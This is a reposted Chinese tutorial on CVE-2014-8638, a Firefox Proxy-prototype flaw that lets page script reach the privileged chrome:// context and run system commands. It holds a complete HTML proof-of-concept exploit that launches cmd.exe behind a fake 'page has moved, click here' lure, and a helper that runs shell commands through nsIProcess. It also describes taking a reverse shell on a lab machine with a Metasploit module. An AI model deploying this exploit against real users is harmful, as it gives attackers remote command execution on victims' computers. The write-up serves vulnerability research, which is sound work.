<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/5350

    0x00 前言


    前段時間,二哥在很多瀏覽器中將腳本層面的漏洞提升為遠程命令執行,幾乎日遍市面上所有國產瀏覽器,這成為了許多人津津樂道的話題。確實,在當今這個底層安全防護越來越強的環境下,堆棧溢出、UAF造成的漏洞利用起來變得很困難,但如果借助瀏覽器提供的一些腳本層接口做到RCE,將是一個是兩撥千金的過程。

    CVE-2014-8638就是這樣一個漏洞,而且影響到的不是國(shan)產(zhai)瀏覽器,而是大名鼎鼎的Firefox。它也是javascript逐步進入ECMAScript 6時代后遇到的一個比較有意思的漏洞。

    0x01 漏洞的發現


    Firefox是較早引入ECMAScript 6特性的瀏覽器,Proxy 就是一個ECMAScript 6特性,它可以用來hook javascript原生的get/set方法。比如如下代碼:

    #!javascript
    var x = {};  
    var p = Proxy(x, {  
      get: function() {  
        console.log('getter called!');  
        return 'intercepted';  
      },  
      set: function() {  
        console.log('setter called!');  
      }  
    });  
    
    console.log(p.foo);  
    p.bar = 1;
    

    執行后將會得到如下結果:

    enter image description here

    這個方法為javascript注入了新的血液,但也帶來了新的安全問題。Getter和Setter將導致我們將沒有特權的javascript代碼注入到有特權的javascript代碼之前,這些代碼在后面檢查權限的函數之前,所以他們是有特權的。Chrome下也出現過由于這個原因導致的問題:LINK1LINK2 ,大家也可以下去自己研究一下。

    經過作者的研究,當我們把Proxy對象作為其他對象的prototype時,就會出現一些問題,比如如下代碼就能宕掉服務器:

    #!javascript
    document.__proto__?=?Proxy.create({getPropertyDescriptor:function(){?while(1)?{}?}});??
    

    不過除此之外,作者當時并沒有想到更好的利用方法,所以就提交到mozilla官方了,firefox在35版本修復了這個問題。

    0x02 突破點


    作者后來做了如下嘗試:

    #!javascript
    var props = {};  
    props['has'] = function(){  
      var chromeWin = open("chrome://browser/content/browser.xul", "x")();  
    };  
    document.__proto__ = Proxy.create(props)  
    

    驚奇的發現,當我們在Proxy中,嘗試打開一個特權頁面“chrome://browser/content/browser.xul”的時候,居然只是彈出了“阻止窗口彈出”的提醒。這說明特權頁面是可以被輕易打開的,這個提醒也可以通過點擊頁面的方式繞過。

    0x03 chrome:意味著什么


    我們能夠打開一個域為chrome://browser/content/browser.xul的頁面,以為著什么?

    火狐和其他很多瀏覽器一樣,都有自己的特權域。不同的URI schemes意味著不同的權限。Chromium的特權域是chrome://downloads,Safari的是file://。Firefox的特權域是chrome://,只要在這個域下的javascript擁有瀏覽器的最高權限。所以我們能用這樣的javascript干很多事,比如執行shell命令。

    你可以試著打開chrome://browser/content/browser.xul并在控制臺下執行如下代碼(linux/osx):

    #!javascript
    function runCmd(cmd) {  
        var process = Components.classes["@mozilla.org/process/util;1"]  
                  .createInstance(Components.interfaces.nsIProcess);  
        var sh = Components.classes["@mozilla.org/file/local;1"]  
                .createInstance(Components.interfaces.nsILocalFile);  
        sh.initWithPath("/bin/sh");  
        process.init(sh);  
        var args = ["-c", cmd];  
        process.run(true, args, args.length);  
    }  
    runCmd("touch /tmp/owned"); 
    

    執行后,可以發現/tmp/owned已經創建,touch命令執行成功。

    所以,一旦攻擊者能夠將代碼注入到這個頁面,就可以執行任意命令了。

    0x04 注入代碼


    那么怎么注入代碼到這個頁面?

    眾所周知,瀏覽器同源策略(SOP)將不會允許我們在http://attacker域下注入代碼到chrome://browser域下。非常幸運的是,作者以前就做過類似的研究:LINK

    當open的第三個參數有傳入”chrome”的話,并且在擁有特權的docshell 下調用,那么我們的URL就會以“top-level frame”的形式被打開(形似“首選項”那種頁面),并且沒有傳統的document對象(就是一個白白的面板)。這樣的窗口,擁有一個messageManager屬性,能夠訪問其他docshell(特權是通行的~嘿):

    #!javascript
    // abuse vulnerability to open window in chrome://  
    var c = new mozRTCPeerConnection;  
    c.createOffer(function(){},function(){  
        var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');  
    
        // we can now reference the `messageManager` property of the window's parent  
        alert(w.parent.messageManager)  
    });  
    

    messageManager是firefox中的特權API,能夠在線程間傳遞信息。同樣,javascript也是可以傳遞的,方式是使用loadFrameScript函數。

    0x05 命令執行


    作者其實這塊寫的特別簡略,直接告訴我可以怎樣寫metasploit exploit,可明明POC都沒告訴我呀!!對于我這種沒開發過firefox插件、沒讀過源碼的通知簡直就……我想到一張操蛋的圖:

    enter image description here

    對,就像這樣……

    于是我更新了metasploit,生成了一個exploit來研究。得出了如下的POC:

    #!javascript
    <!doctype html>
    <html>
    <body>
    <script>
    var opts = {"zqwessa123": "\n         (function(){var process = Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);var sh = Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);sh.initWithPath(\"C:\\\\windows\\\\system32\\\\cmd.exe\");process.init(sh);\nvar shell='calc.exe';var args = [\"\/c\", shell];\n process.run(true, args, args.length);})();\n\n"};
    var key = opts['zqwessa123'];
    var props = {};
    props.has = function(n){
        if (!window.top.x && n=='nodeType') {
          window.top.x=window.open("chrome://browser/content/browser.xul", "x",
            "chrome");
          if (window.top.x) {
            Object.setPrototypeOf(document, pro);
            setTimeout(function(){
              x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
              setTimeout(function(){
                x.messageManager.loadFrameScript('data:,'+key, false);
                setTimeout(function(){
                    x.close();
                },100);
              }, 100)
            }, 100);
          }
        }
    }
    var pro = Object.getPrototypeOf(document);
    Object.setPrototypeOf(document, Proxy.create(props));
    </script>
    
      The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected.
    </body>
    </html>
    

    過程還是比較簡單,首先創建Proxy對象,實現has方法,has方法實際上就是hook了對象的“in”操作,具體可見Proxy文檔。然后將document的prototype設置為Proxy對象,這樣實際上我們接管了document的in操作,并且這些代碼是有特權的。

    使用之前講的方法打開chrome://browser/content/browser.xul,獲得了messageManager屬性,用data協議構造了一個iframe,并將要執行的javascript代碼也以data協議的形式用messageManager. loadFrameScript加載,執行特權API。

    注意,因為在docshell中,所以是沒有傳統的window對象、document對象,所以你調用alert、console等方法是沒用的。opts對象中的那一串javascript就是最后執行的特權API,通過process.run執行C:\windows\System32\cmd.exe /c calc.exe,效果是彈出一個小計算器:

    enter image description here

    一個簡單的POC就此誕生了。

    然后,不得不說metesploit中的 firefox_proxy_prototype模塊,通過這個模塊生成的exploit可以直接反彈shell。

    enter image description here

    虛擬機10.211.55.3上Firefox版本是33,在影響范圍內,打開http:// 10.211.55.2:12306/m0EbugSmqwCW1PP ,隨意點擊一處,即可觸發。

    主機上等待上線:

    enter image description here

    這邊反彈成功,可以看到,已經拿下10.211.55.3的用戶權限shell。

    0x06 資料


    原文:LINK

    測試的FF33我在這里下載的:LINK

    Windows下的POC:LINK

    一個小演示:LINK

    還有很多點,作者雖然沒在本文說明,但基本都可以從作者文章鏈接所指向的文章看到。顯然作者對瀏覽器漏洞的研究是一個過程,就像一部動漫,如果你不看前面的部分,這部分內容就可能比較難懂。

    97av